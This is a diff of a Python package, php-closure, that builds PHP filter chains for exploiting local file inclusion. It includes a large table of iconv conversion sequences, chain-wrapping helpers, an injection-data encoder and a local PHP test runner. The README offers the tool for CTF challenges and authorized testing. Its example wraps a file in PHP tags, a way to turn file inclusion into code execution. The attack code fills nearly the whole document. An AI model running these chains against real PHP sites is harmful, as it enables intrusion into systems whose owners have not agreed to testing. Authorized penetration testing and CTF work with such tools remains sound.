"convert.iconv.8859_3.UCS2",
|
|
49
|
+
]
|
|
50
|
+
),
|
|
51
|
+
"6": FilterPart(
|
|
52
|
+
[
|
|
53
|
+
"convert.iconv.INIS.UTF16",
|
|
54
|
+
"convert.iconv.CSIBM1133.IBM943",
|
|
55
|
+
"convert.iconv.CSIBM943.UCS4",
|
|
56
|
+
"convert.iconv.IBM866.UCS-2",
|
|
57
|
+
]
|
|
58
|
+
),
|
|
59
|
+
"7": FilterPart(
|
|
60
|
+
[
|
|
61
|
+
"convert.iconv.851.UTF-16",
|
|
62
|
+
"convert.iconv.L1.T.618BIT",
|
|
63
|
+
"convert.iconv.ISO-IR-103.850",
|
|
64
|
+
"convert.iconv.PT154.UCS4",
|
|
65
|
+
]
|
|
66
|
+
),
|
|
67
|
+
"8": FilterPart(["convert.iconv.ISO2022KR.UTF16", "convert.iconv.L6.UCS2"]),
|
|
68
|
+
"9": FilterPart(["convert.iconv.CSIBM1161.UNICODE", "convert.iconv.ISO-IR-156.JOHAB"]),
|
|
69
|
+
"A": FilterPart(["convert.iconv.8859_3.UTF16", "convert.iconv.863.SHIFT_JISX0213"]),
|
|
70
|
+
"a": FilterPart(
|
|
71
|
+
[
|
|
72
|
+
"convert.iconv.CP1046.UTF32",
|
|
73
|
+
"convert.iconv.L6.UCS-2",
|
|
74
|
+
"convert.iconv.UTF-16LE.T.61-8BIT",
|
|
75
|
+
"convert.iconv.865.UCS-4LE",
|
|
76
|
+
]
|
|
77
|
+
),
|
|
78
|
+
"B": FilterPart(["convert.iconv.CP861.UTF-16", "convert.iconv.L4.GB13000"]),
|
|
79
|
+
"b": FilterPart(
|
|
80
|
+
[
|
|
81
|
+
"convert.iconv.JS.UNICODE",
|
|
82
|
+
"convert.iconv.L4.UCS2",
|
|
83
|
+
"convert.iconv.UCS-2.OSF00030010",
|
|
84
|
+
"convert.iconv.CSIBM1008.UTF32BE",
|
|
85
|
+
]
|
|
86
|
+
),
|
|
87
|
+
"C": FilterPart(["convert.iconv.UTF8.CSISO2022KR"]),
|
|
88
|
+
"c": FilterPart(["convert.iconv.L4.UTF32", "convert.iconv.CP1250.UCS-2"]),
|
|
89
|
+
"D": FilterPart(
|
|
90
|
+
[
|
|
91
|
+
"convert.iconv.INIS.UTF16",
|
|
92
|
+
"convert.iconv.CSIBM1133.IBM943",
|
|
93
|
+
"convert.iconv.IBM932.SHIFT_JISX0213",
|
|
94
|
+
]
|
|
95
|
+
),
|
|
96
|
+
"d": FilterPart(
|
|
97
|
+
[
|
|
98
|
+
"convert.iconv.INIS.UTF16",
|
|
99
|
+
"convert.iconv.CSIBM1133.IBM943",
|
|
100
|
+
"convert.iconv.GBK.BIG5",
|
|
101
|
+
]
|
|
102
|
+
),
|
|
103
|
+
"E": FilterPart(["convert.iconv.IBM860.UTF16", "convert.iconv.ISO-IR-143.ISO2022CNEXT"]),
|
|
104
|
+
"e": FilterPart(
|
|
105
|
+
[
|
|
106
|
+
"convert.iconv.JS.UNICODE",
|
|
107
|
+
"convert.iconv.L4.UCS2",
|
|
108
|
+
"convert.iconv.UTF16.EUC-JP-MS",
|
|
109
|
+
"convert.iconv.ISO-8859-1.ISO_6937",
|
|
110
|
+
]
|
|
111
|
+
),
|
|
112
|
+
"F": FilterPart(
|
|
113
|
+
[
|
|
114
|
+
"convert.iconv.L5.UTF-32",
|
|
115
|
+
"convert.iconv.ISO88594.GB13000",
|
|
116
|
+
"convert.iconv.CP950.SHIFT_JISX0213",
|
|
117
|
+
"convert.iconv.UHC.JOHAB",
|
|
118
|
+
]
|
|
119
|
+
),
|
|
120
|
+
"f": FilterPart(["convert.iconv.CP367.UTF-16", "convert.iconv.CSIBM901.SHIFT_JISX0213"]),
|
|
121
|
+
"g": FilterPart(
|
|
122
|
+
[
|
|
123
|
+
"convert.iconv.SE2.UTF-16",
|
|
124
|
+
"convert.iconv.CSIBM921.NAPLPS",
|
|
125
|
+
"convert.iconv.855.CP936",
|
|
126
|
+
"convert.iconv.IBM-932.UTF-8",
|
|
127
|
+
]
|
|
128
|
+
),
|
|
129
|
+
"G": FilterPart(["convert.iconv.L6.UNICODE", "convert.iconv.CP1282.ISO-IR-90"]),
|
|
130
|
+
"H": FilterPart(["convert.iconv.CP1046.UTF16", "convert.iconv.ISO6937.SHIFT_JISX0213"]),
|
|
131
|
+
"h": FilterPart(
|
|
132
|
+
[
|
|
133
|
+
"convert.iconv.CSGB2312.UTF-32",
|
|
134
|
+
"convert.iconv.IBM-1161.IBM932",
|
|
135
|
+
"convert.iconv.GB13000.UTF16BE",
|
|
136
|
+
"convert.iconv.864.UTF-32LE",
|
|
137
|
+
]
|
|
138
|
+
),
|
|
139
|
+
"I": FilterPart(
|
|
140
|
+
[
|
|
141
|
+
"convert.iconv.L5.UTF-32",
|
|
142
|
+
"convert.iconv.ISO88594.GB13000",
|
|
143
|
+
"convert.iconv.BIG5.SHIFT_JISX0213",
|
|
144
|
+
]
|
|
145
|
+
),
|
|
146
|
+
"i": FilterPart(
|
|
147
|
+
[
|
|
148
|
+
"convert.iconv.DEC.UTF-16",
|
|
149
|
+
"convert.iconv.ISO8859-9.ISO_6937-2",
|
|
150
|
+
"convert.iconv.UTF16.GB13000",
|
|
151
|
+
]
|
|
152
|
+
),
|
|
153
|
+
"J": FilterPart(["convert.iconv.863.UNICODE", "convert.iconv.ISIRI3342.UCS4"]),
|
|
154
|
+
"j": FilterPart(
|
|
155
|
+
[
|
|
156
|
+
"convert.iconv.CP861.UTF-16",
|
|
157
|
+
"convert.iconv.L4.GB13000",
|
|
158
|
+
"convert.iconv.BIG5.JOHAB",
|
|
159
|
+
"convert.iconv.CP950.UTF16",
|
|
160
|
+
]
|
|
161
|
+
),
|
|
162
|
+
"K": FilterPart(["convert.iconv.863.UTF-16", "convert.iconv.ISO6937.UTF16LE"]),
|
|
163
|
+
"k": FilterPart(["convert.iconv.JS.UNICODE", "convert.iconv.L4.UCS2"]),
|
|
164
|
+
"L": FilterPart(
|
|
165
|
+
[
|
|
166
|
+
"convert.iconv.IBM869.UTF16",
|
|
167
|
+
"convert.iconv.L3.CSISO90",
|
|
168
|
+
"convert.iconv.R9.ISO6937",
|
|
169
|
+
"convert.iconv.OSF00010100.UHC",
|
|
170
|
+
]
|
|
171
|
+
),
|
|
172
|
+
"l": FilterPart(
|
|
173
|
+
[
|
|
174
|
+
"convert.iconv.CP-AR.UTF16",
|
|
175
|
+
"convert.iconv.8859_4.BIG5HKSCS",
|
|
176
|
+
"convert.iconv.MSCP1361.UTF-32LE",
|
|
177
|
+
"convert.iconv.IBM932.UCS-2BE",
|
|
178
|
+
]
|
|
179
|
+
),
|
|
180
|
+
"M": FilterPart(
|
|
181
|
+
[
|
|
182
|
+
"convert.iconv.CP869.UTF-32",
|
|
183
|
+
"convert.iconv.MACUK.UCS4",
|
|
184
|
+
"convert.iconv.UTF16BE.866",
|
|
185
|
+
"convert.iconv.MACUKRAINIAN.WCHAR_T",
|
|
186
|
+
]
|
|
187
|
+
),
|
|
188
|
+
"m": FilterPart(
|
|
189
|
+
[
|
|
190
|
+
"convert.iconv.SE2.UTF-16",
|
|
191
|
+
"convert.iconv.CSIBM921.NAPLPS",
|
|
192
|
+
"convert.iconv.CP1163.CSA_T500",
|
|
193
|
+
"convert.iconv.UCS-2.MSCP949",
|
|
194
|
+
]
|
|
195
|
+
),
|
|
196
|
+
"N": FilterPart(["convert.iconv.CP869.UTF-32", "convert.iconv.MACUK.UCS4"]),
|
|
197
|
+
"n": FilterPart(
|
|
198
|
+
[
|
|
199
|
+
"convert.iconv.ISO88594.UTF16",
|
|
200
|
+
"convert.iconv.IBM5347.UCS4",
|
|
201
|
+
"convert.iconv.UTF32BE.MS936",
|
|
202
|
+
"convert.iconv.OSF00010004.T.61",
|
|
203
|
+
]
|
|
204
|
+
),
|
|
205
|
+
"O": FilterPart(
|
|
206
|
+
[
|
|
207
|
+
"convert.iconv.CSA_T500.UTF-32",
|
|
208
|
+
"convert.iconv.CP857.ISO-2022-JP-3",
|
|
209
|
+
"convert.iconv.ISO2022JP2.CP775",
|
|
210
|
+
]
|
|
211
|
+
),
|
|
212
|
+
"o": FilterPart(
|
|
213
|
+
[
|
|
214
|
+
"convert.iconv.JS.UNICODE",
|
|
215
|
+
"convert.iconv.L4.UCS2",
|
|
216
|
+
"convert.iconv.UCS-4LE.OSF05010001",
|
|
217
|
+
"convert.iconv.IBM912.UTF-16LE",
|
|
218
|
+
]
|
|
219
|
+
),
|
|
220
|
+
"P": FilterPart(
|
|
221
|
+
[
|
|
222
|
+
"convert.iconv.SE2.UTF-16",
|
|
223
|
+
"convert.iconv.CSIBM1161.IBM-932",
|
|
224
|
+
"convert.iconv.MS932.MS936",
|
|
225
|
+
"convert.iconv.BIG5.JOHAB",
|
|
226
|
+
]
|
|
227
|
+
),
|
|
228
|
+
"p": FilterPart(
|
|
229
|
+
[
|
|
230
|
+
"convert.iconv.IBM891.CSUNICODE",
|
|
231
|
+
"convert.iconv.ISO8859-14.ISO6937",
|
|
232
|
+
"convert.iconv.BIG-FIVE.UCS-4",
|
|
233
|
+
]
|
|
234
|
+
),
|
|
235
|
+
"q": FilterPart(
|
|
236
|
+
[
|
|
237
|
+
"convert.iconv.SE2.UTF-16",
|
|
238
|
+
"convert.iconv.CSIBM1161.IBM-932",
|
|
239
|
+
"convert.iconv.GBK.CP932",
|
|
240
|
+
"convert.iconv.BIG5.UCS2",
|
|
241
|
+
]
|
|
242
|
+
),
|
|
243
|
+
"Q": FilterPart(
|
|
244
|
+
[
|
|
245
|
+
"convert.iconv.L6.UNICODE",
|
|
246
|
+
"convert.iconv.CP1282.ISO-IR-90",
|
|
247
|
+
"convert.iconv.CSA_T500-1983.UCS-2BE",
|
|
248
|
+
"convert.iconv.MIK.UCS2",
|
|
249
|
+
]
|
|
250
|
+
),
|
|
251
|
+
"R": FilterPart(
|
|
252
|
+
[
|
|
253
|
+
"convert.iconv.PT.UTF32",
|
|
254
|
+
"convert.iconv.KOI8-U.IBM-932",
|
|
255
|
+
"convert.iconv.SJIS.EUCJP-WIN",
|
|
256
|
+
"convert.iconv.L10.UCS4",
|
|
257
|
+
]
|
|
258
|
+
),
|
|
259
|
+
"r": FilterPart(
|
|
260
|
+
[
|
|
261
|
+
"convert.iconv.IBM869.UTF16",
|
|
262
|
+
"convert.iconv.L3.CSISO90",
|
|
263
|
+
"convert.iconv.ISO-IR-99.UCS-2BE",
|
|
264
|
+
"convert.iconv.L4.OSF00010101",
|
|
265
|
+
]
|
|
266
|
+
),
|
|
267
|
+
"S": FilterPart(
|
|
268
|
+
[
|
|
269
|
+
"convert.iconv.INIS.UTF16",
|
|
270
|
+
"convert.iconv.CSIBM1133.IBM943",
|
|
271
|
+
"convert.iconv.GBK.SJIS",
|
|
272
|
+
]
|
|
273
|
+
),
|
|
274
|
+
"s": FilterPart(["convert.iconv.IBM869.UTF16", "convert.iconv.L3.CSISO90"]),
|
|
275
|
+
"T": FilterPart(
|
|
276
|
+
[
|
|
277
|
+
"convert.iconv.L6.UNICODE",
|
|
278
|
+
"convert.iconv.CP1282.ISO-IR-90",
|
|
279
|
+
"convert.iconv.CSA_T500.L4",
|
|
280
|
+
"convert.iconv.ISO_8859-2.ISO-IR-103",
|
|
281
|
+
]
|
|
282
|
+
),
|
|
283
|
+
"t": FilterPart(["convert.iconv.864.UTF32", "convert.iconv.IBM912.NAPLPS"]),
|
|
284
|
+
"U": FilterPart(["convert.iconv.INIS.UTF16", "convert.iconv.CSIBM1133.IBM943"]),
|
|
285
|
+
"u": FilterPart(["convert.iconv.CP1162.UTF32", "convert.iconv.L4.T.61"]),
|
|
286
|
+
"V": FilterPart(
|
|
287
|
+
[
|
|
288
|
+
"convert.iconv.CP861.UTF-16",
|
|
289
|
+
"convert.iconv.L4.GB13000",
|
|
290
|
+
"convert.iconv.BIG5.JOHAB",
|
|
291
|
+
]
|
|
292
|
+
),
|
|
293
|
+
"v": FilterPart(
|
|
294
|
+
[
|
|
295
|
+
"convert.iconv.UTF8.UTF16LE",
|
|
296
|
+
"convert.iconv.UTF8.CSISO2022KR",
|
|
297
|
+
"convert.iconv.UTF16.EUCTW",
|
|
298
|
+
"convert.iconv.ISO-8859-14.UCS2",
|
|
299
|
+
]
|
|
300
|
+
),
|
|
301
|
+
"W": FilterPart(
|
|
302
|
+
[
|
|
303
|
+
"convert.iconv.SE2.UTF-16",
|
|
304
|
+
"convert.iconv.CSIBM1161.IBM-932",
|
|
305
|
+
"convert.iconv.MS932.MS936",
|
|
306
|
+
]
|
|
307
|
+
),
|
|
308
|
+
"w": FilterPart(["convert.iconv.MAC.UTF16", "convert.iconv.L8.UTF16BE"]),
|
|
309
|
+
"X": FilterPart(["convert.iconv.PT.UTF32", "convert.iconv.KOI8-U.IBM-932"]),
|
|
310
|
+
"x": FilterPart(["convert.iconv.CP-AR.UTF16", "convert.iconv.8859_4.BIG5HKSCS"]),
|
|
311
|
+
"Y": FilterPart(
|
|
312
|
+
[
|
|
313
|
+
"convert.iconv.CP367.UTF-16",
|
|
314
|
+
"convert.iconv.CSIBM901.SHIFT_JISX0213",
|
|
315
|
+
"convert.iconv.UHC.CP1361",
|
|
316
|
+
]
|
|
317
|
+
),
|
|
318
|
+
"y": FilterPart(["convert.iconv.851.UTF-16", "convert.iconv.L1.T.618BIT"]),
|
|
319
|
+
"Z": FilterPart(
|
|
320
|
+
[
|
|
321
|
+
"convert.iconv.SE2.UTF-16",
|
|
322
|
+
"convert.iconv.CSIBM1161.IBM-932",
|
|
323
|
+
"convert.iconv.BIG5HKSCS.UTF16",
|
|
324
|
+
]
|
|
325
|
+
),
|
|
326
|
+
"z": FilterPart(["convert.iconv.865.UTF16", "convert.iconv.CP901.ISO6937"]),
|
|
327
|
+
"/": FilterPart(
|
|
328
|
+
[
|
|
329
|
+
"convert.iconv.IBM869.UTF16",
|
|
330
|
+
"convert.iconv.L3.CSISO90",
|
|
331
|
+
"convert.iconv.UCS2.UTF-8",
|
|
332
|
+
"convert.iconv.CSISOLATIN6.UCS-4",
|
|
333
|
+
]
|
|
334
|
+
),
|
|
335
|
+
"+": FilterPart(
|
|
336
|
+
[
|
|
337
|
+
"convert.iconv.UTF8.UTF16",
|
|
338
|
+
"convert.iconv.WINDOWS-1258.UTF32LE",
|
|
339
|
+
"convert.iconv.ISIRI3342.ISO-IR-157",
|
|
340
|
+
]
|
|
341
|
+
),
|
|
342
|
+
}
|
|
File without changes
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
import subprocess
|
|
2
|
+
|
|
3
|
+
from ..classes.filter_part import FilterPart
|
|
4
|
+
|
|
5
|
+
|
|
6
|
+
class PHPFilterError(RuntimeError):
|
|
7
|
+
pass
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
def run_php_filter(chain: str) -> bytes:
|
|
11
|
+
if isinstance(chain, FilterPart):
|
|
12
|
+
chain = str(chain)
|
|
13
|
+
|
|
14
|
+
php_code = f'<?php echo file_get_contents("{chain}");'
|
|
15
|
+
|
|
16
|
+
result = subprocess.run(
|
|
17
|
+
["php"],
|
|
18
|
+
input=php_code.encode("utf-8"),
|
|
19
|
+
stdout=subprocess.PIPE,
|
|
20
|
+
stderr=subprocess.PIPE,
|
|
21
|
+
)
|
|
22
|
+
|
|
23
|
+
if result.returncode != 0:
|
|
24
|
+
raise PHPFilterError(
|
|
25
|
+
result.stderr.decode("utf-8", errors="replace").strip()
|
|
26
|
+
)
|
|
27
|
+
|
|
28
|
+
stderr_text = result.stderr.decode("utf-8", errors="replace").strip()
|
|
29
|
+
|
|
30
|
+
if stderr_text:
|
|
31
|
+
raise PHPFilterError(stderr_text)
|
|
32
|
+
|
|
33
|
+
return result.stdout
|
|
File without changes
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
from ..constants.operations import ROT13, B64D, B64E
|
|
2
|
+
from ..classes.filter_part import FilterPart
|
|
3
|
+
|
|
4
|
+
|
|
5
|
+
def rot13_wrap(chain: FilterPart):
|
|
6
|
+
return ROT13 / chain / ROT13
|
|
7
|
+
|
|
8
|
+
|
|
9
|
+
def b64_wrap(chain: FilterPart):
|
|
10
|
+
return B64E / chain / B64D
|
|
11
|
+
|
|
12
|
+
|
|
13
|
+
def iconv_multi_wrap(chain, *enc_pairs):
|
|
14
|
+
out_chain = FilterPart([])
|
|
15
|
+
for enc_pair in reversed(enc_pairs):
|
|
16
|
+
src_enc, dst_enc = enc_pair
|
|
17
|
+
out_chain = out_chain / f"convert.iconv.{dst_enc}.{src_enc}"
|
|
18
|
+
|
|
19
|
+
out_chain = out_chain / chain
|
|
20
|
+
|
|
21
|
+
for enc_pair in enc_pairs:
|
|
22
|
+
src_enc, dst_enc = enc_pair
|
|
23
|
+
out_chain = out_chain / f"convert.iconv.{src_enc}.{dst_enc}"
|
|
24
|
+
|
|
25
|
+
return out_chain
|
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
import base64
|
|
2
|
+
|
|
3
|
+
|
|
4
|
+
def right_pad(s: str, multiple: int, char: str) -> str:
|
|
5
|
+
return s.ljust(len(s) + (-len(s) % multiple), char)
|
|
6
|
+
|
|
7
|
+
def left_pad(s: str, multiple: int, char: str) -> str:
|
|
8
|
+
return s.rjust(len(s) + (-len(s) % multiple), char)
|
|
9
|
+
|
|
10
|
+
def mult_3(s: str|bytes) -> bytes:
|
|
11
|
+
if isinstance(s, str):
|
|
12
|
+
s = s.encode()
|
|
13
|
+
return s.decode('utf-16').encode('utf-8')
|
|
14
|
+
|
|
15
|
+
def prepare_injection_data(s: str) -> str:
|
|
16
|
+
if len(s) % 4 != 0:
|
|
17
|
+
raise RuntimeError("Something went wrong!")
|
|
18
|
+
|
|
19
|
+
s = mult_3(s)
|
|
20
|
+
s = mult_3(s)
|
|
21
|
+
s = base64.b64encode(s).decode()
|
|
22
|
+
|
|
23
|
+
return s.replace("=", "")
|
|
@@ -0,0 +1,91 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: php-closure
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: Wrap file contents with PHP filter chains
|
|
5
|
+
Author: Eilon Avizemer
|
|
6
|
+
License: MIT License
|
|
7
|
+
|
|
8
|
+
Copyright (c) 2026 Eilon Avizemer
|
|
9
|
+
|
|
10
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
11
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
12
|
+
in the Software without restriction, including without limitation the rights
|
|
13
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
14
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
15
|
+
furnished to do so, subject to the following conditions:
|
|
16
|
+
|
|
17
|
+
The above copyright notice and this permission notice shall be included in all
|
|
18
|
+
copies or substantial portions of the Software.
|
|
19
|
+
|
|
20
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
21
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
22
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
23
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
24
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
25
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
26
|
+
SOFTWARE.
|
|
27
|
+
|
|
28
|
+
Requires-Python: >=3.8
|
|
29
|
+
Description-Content-Type: text/markdown
|
|
30
|
+
License-File: LICENSE
|
|
31
|
+
Dynamic: license-file
|
|
32
|
+
|
|
33
|
+
# php-closure
|
|
34
|
+
|
|
35
|
+
**php-closure** (the `closure` command) is a CLI tool, written in Python, that generates [PHP filter chains](https://www.php.net/manual/en/filters.php) for wrapping any file with an arbitrary prefix and suffix. A chain is a long `php://filter/...` string. When PHP reads it, the result is the file's contents with your prefix and suffix around them.
|
|
36
|
+
|
|
37
|
+
It is meant for CTF challenges and for testing PHP local file inclusion (LFI) bugs on systems you are authorized to test.
|
|
38
|
+
|
|
39
|
+
# Installation
|
|
40
|
+
|
|
41
|
+
Install **closure** directly from GitHub using `pip`:
|
|
42
|
+
|
|
43
|
+
```bash
|
|
44
|
+
pip install git+https://github.com/eilon-avi/php-closure.git
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
Alternatively, clone the repository and install it locally:
|
|
48
|
+
|
|
49
|
+
```bash
|
|
50
|
+
git clone https://github.com/eilon-avi/php-closure.git
|
|
51
|
+
cd php-closure
|
|
52
|
+
pip install .
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
Requires Python 3.8 or newer. PHP is optional and is only needed for `--test`.
|
|
56
|
+
|
|
57
|
+
# Usage
|
|
58
|
+
|
|
59
|
+
After installation, the CLI is available from your terminal:
|
|
60
|
+
|
|
61
|
+
```bash
|
|
62
|
+
closure --help
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+

|
|
66
|
+
|
|
67
|
+
Use the available options to create your php filter chain:
|
|
68
|
+
|
|
69
|
+

|
|
70
|
+
|
|
71
|
+
## Example
|
|
72
|
+
|
|
73
|
+
Wrap `data.txt` in a PHP opening tag and closing tag, and write the chain to `chain.txt`:
|
|
74
|
+
|
|
75
|
+
```bash
|
|
76
|
+
closure -p "<?php " -s "?>" -o chain.txt data.txt
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
Output:
|
|
80
|
+
|
|
81
|
+
```
|
|
82
|
+
Chain written to: chain.txt
|
|
83
|
+
|
|
84
|
+
Resulting chain size: 13004
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
Chains are long, so write them to a file with `-o`. Without `-o`, closure prints the chain to stdout. Add `-t` to run the chain with your local PHP install and print the result (requires PHP to be installed).
|
|
88
|
+
|
|
89
|
+
# Documentation & Research
|
|
90
|
+
|
|
91
|
+
All of the technical details about how this tool works are summarized in [this](https://eilon-avi.github.io/projects/closure/) blog post.
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
2
|
+
closure/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
3
|
+
closure/cli.py,sha256=rlBCjqnGHjj47SEWCdd-KGRF5_f02FPc2hbLbbqj9mU,2670
|
|
4
|
+
closure/classes/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
5
|
+
closure/classes/appender.py,sha256=G91abL5nABaxYfiFHkHD2gTuSnd90migFeQAjVSU3po,438
|
|
6
|
+
closure/classes/chain_builder.py,sha256=TX41Qlg_kl4Mfy45PRfKpbfrihXG-VX5p2MhVEVeM9g,5893
|
|
7
|
+
closure/classes/filter_part.py,sha256=KovU_62doB6EIrDOZ8CaPHIROLfi-gsgGGyAkq4cki4,1736
|
|
8
|
+
closure/constants/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
9
|
+
closure/constants/appenders.py,sha256=cxSW4zNVYpGGY2gUUM8HIycVSKguJmMzx7VXyp7VyWs,7347
|
|
10
|
+
closure/constants/operations.py,sha256=NLg60YkOtLjtriP7-RbZa1umPeIeHglnE0PLtlWVp9w,485
|
|
11
|
+
closure/constants/prependers.py,sha256=RZFUPI9Ys2lZRocLKRVrbq11HJquNTWUkNPjR5g1T30,10794
|
|
12
|
+
closure/testing/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
13
|
+
closure/testing/run_php_filter.py,sha256=Q-dvJ75bI-Cfr7sQgj0BfAMomFMvU7l9zUhD_n7TRuY,771
|
|
14
|
+
closure/utils/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
15
|
+
closure/utils/chain_functions.py,sha256=TS5jqOUuVcWurxIIX5XUT_Ojk56Oi6UKl5KMJna7EKg,673
|
|
16
|
+
closure/utils/string_functions.py,sha256=Z0b66ebPg49LmJ0UOyNN9R0YmYl7ejtvmTn7C4O3DBo,620
|
|
17
|
+
php_closure-1.0.0.dist-info/licenses/LICENSE,sha256=3AseLPufnSRXZ0HhoNo1FsZBk_8Jca8lbT__IZQOglY,1092
|
|
18
|
+
php_closure-1.0.0.dist-info/METADATA,sha256=IY2bqlIqaYinWDYZZj9Sd4rLhW77TBAqO0G5gG1Kh_o,3494
|
|
19
|
+
php_closure-1.0.0.dist-info/WHEEL,sha256=mOdXR9C3wMVov7cSY8PY-XCzo3SmmWCHvGQr5csJoao,91
|
|
20
|
+
php_closure-1.0.0.dist-info/entry_points.txt,sha256=bafGWW-cYnHLCFz7ihLJ6PxN5eeUe6gLA4ipnE-I9H4,45
|
|
21
|
+
php_closure-1.0.0.dist-info/top_level.txt,sha256=7PfJk7w9_EHOfNuyFpBJnGbaZzAYtjA7p_AzCl3bkPE,17
|
|
22
|
+
php_closure-1.0.0.dist-info/RECORD,,
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 Eilon Avizemer
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|